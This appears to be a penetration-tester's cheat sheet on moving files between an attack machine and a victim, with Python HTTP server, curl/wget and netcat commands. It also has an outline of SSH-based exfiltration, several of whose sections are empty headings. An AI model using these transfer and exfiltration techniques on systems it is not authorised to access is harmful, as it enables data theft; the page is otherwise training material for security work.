File Transfers

Linux and Windows file transfers

Python HTTP Server

Python Simple HTTP Server is a straight forward process:exit: Ctrl+↩

# Hosting Machine
python -m SimpleHTTPServer

# Connecting Machine:
curl -o output.txt http://IP_Address:portnumber/filename.txt
#or
wget http://IP_Address:portnumber/filename.txt

Port number for connection can be specified by appending it to the end of the command, like so:

"python -m SimpleHTTPServer 80"‌

Netcat

# receiving/listening:
nc -l -p 4444 > outfile.txt

# sending/connecting:
nc -w 3 DEST_IP_ADDRESS 4444 < sendfile.txt

‌CertUtil

‌Powershell

‌Setting up SMB Server

You'll need to make sure the entire packet suite is unpacked and installed in /opt with "pip install ." Then move the smbserver.py file to the working directory. More info: https://blog.ropnop.com/transferring-files-from-kali-to-windows/#setting-up-the-server

SSH transfers to Attack Machine (exfiltrate)

  1. Ensure OpenSSH is available on Kali machine with:

  2. Create a new user that can access SSH locally, so that you do not have to enter your credentials on the victim machine.

Edit the /etc/ssh/sshd_config file like so:

Stop and Stop SSH:

Using SCP to copy files over SSH.

Invoke Web Request (HTTP request like curl)

Last updated

Was this helpful?